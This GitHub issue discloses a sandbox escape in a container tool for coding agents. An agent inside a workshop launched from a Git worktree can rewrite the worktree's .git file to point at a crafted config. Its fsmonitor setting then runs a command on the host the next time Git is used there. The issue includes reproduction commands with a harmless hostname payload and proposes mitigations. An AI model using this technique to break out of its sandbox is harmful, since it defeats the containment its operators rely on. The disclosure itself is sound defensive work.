Skip to content

A workshop launched from a Git worktree can run commands on the host through its .git file #1139

Open

Description

@james-garner-canonical

Git commands fail inside a workshop launched from a worktree, because the worktree's .git file points outside the project mount (tracked in #967).

This can look like it keeps an agent away from Git on the host, but the .git file is itself inside the read-write mount. Code in the workshop can replace that file so it points to a Git directory the code controls. The next Git command run in the worktree on the host then reads that directory's config, and it runs any command named there as the host user.

I'm not sure if mitigating this falls inside the scope of what workshop tries to address, but:

  • use-git and security.md both warn against mounting the main repository's .git "into a workshop where untrusted tools such as coding agents run: Git runs hooks and configured commands from that directory on your host." So there's some indication that mounting a worktree would give you better security than mounting the project directory itself. However, the instruction in the same document to run Git for the worktree on the host is what runs into a rewritten .git.
  • Worktrees are a natural choice for running agents in parallel, and Allow git commands in git worktrees #967 notes that Git support for mounted worktrees is on the roadmap, so this might be worth considering for that design.

We could mitigate this with:

  1. Docs: note in both pages that a worktree doesn't protect the host from an untrusted agent, and that running Git in that worktree on the host is unsafe once the agent has had write access. We could recommend a separate clone, and fetching from it over SSH or file://.
  2. Product: if we made a worktree's .git file read-only inside the workshop, for example with a read-only bind mount, then that should mitigate the issue completely, and the docs note would only apply to earlier workshop versions.

Claude's reproduction instructions, in case they're useful

The command writes the machine's hostname to a file, which shows where it ran.

$ git init main && git -C main commit --allow-empty -m init
$ git -C main worktree add -b wt ../wt && cd wt
$ printf 'name: dev\nbase: [email protected]\n' > workshop.yaml
$ workshop launch
$ workshop exec dev -- git status    # fails as documented
$ workshop exec dev -- bash -c '
    mkdir -p .x/objects .x/refs
    echo "ref: refs/heads/x" > .x/HEAD
    printf "[core]\n\trepositoryformatversion = 0\n\tbare = false\n\tfsmonitor = \"hostname > ran-on; false\"\n" > .x/config
    echo "gitdir: .x" > .git'
$ git status    # on the host
$ cat ran-on; hostname

ran-on contains the host's hostname rather than dev, so the command ran on the host.

Tested with Workshop 0.9.9 (rev 800), LXD 6.10.1 and Git 2.51.0, using a container workshop. safe.directory doesn't help, because files created in the workshop belong to the host user.

Activity

  1. jonathan-conder commented on Nov 6, 2026

    @jonathan-conder
    Contributor

    It's a nice catch, obvious in hindsight but I hadn't considered this possibility. Hopefully it's possible to address when we improve the worktree support overall.

    But I also think configuring the workshop as a git remote is a nice avenue to explore, especially if we can put together a nice UI for iterative code review

  2. james-garner-canonical commented on Nov 6, 2026

    @james-garner-canonical
    Author

    But I also think configuring the workshop as a git remote is a nice avenue to explore, especially if we can put together a nice UI for iterative code review

    This is an interesting idea. I've been ideating on a similar idea locally, where an agent in a workshop runs against a clone of my local branch, and I review changes from my worktree. It would be cool to have something similar baked in.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions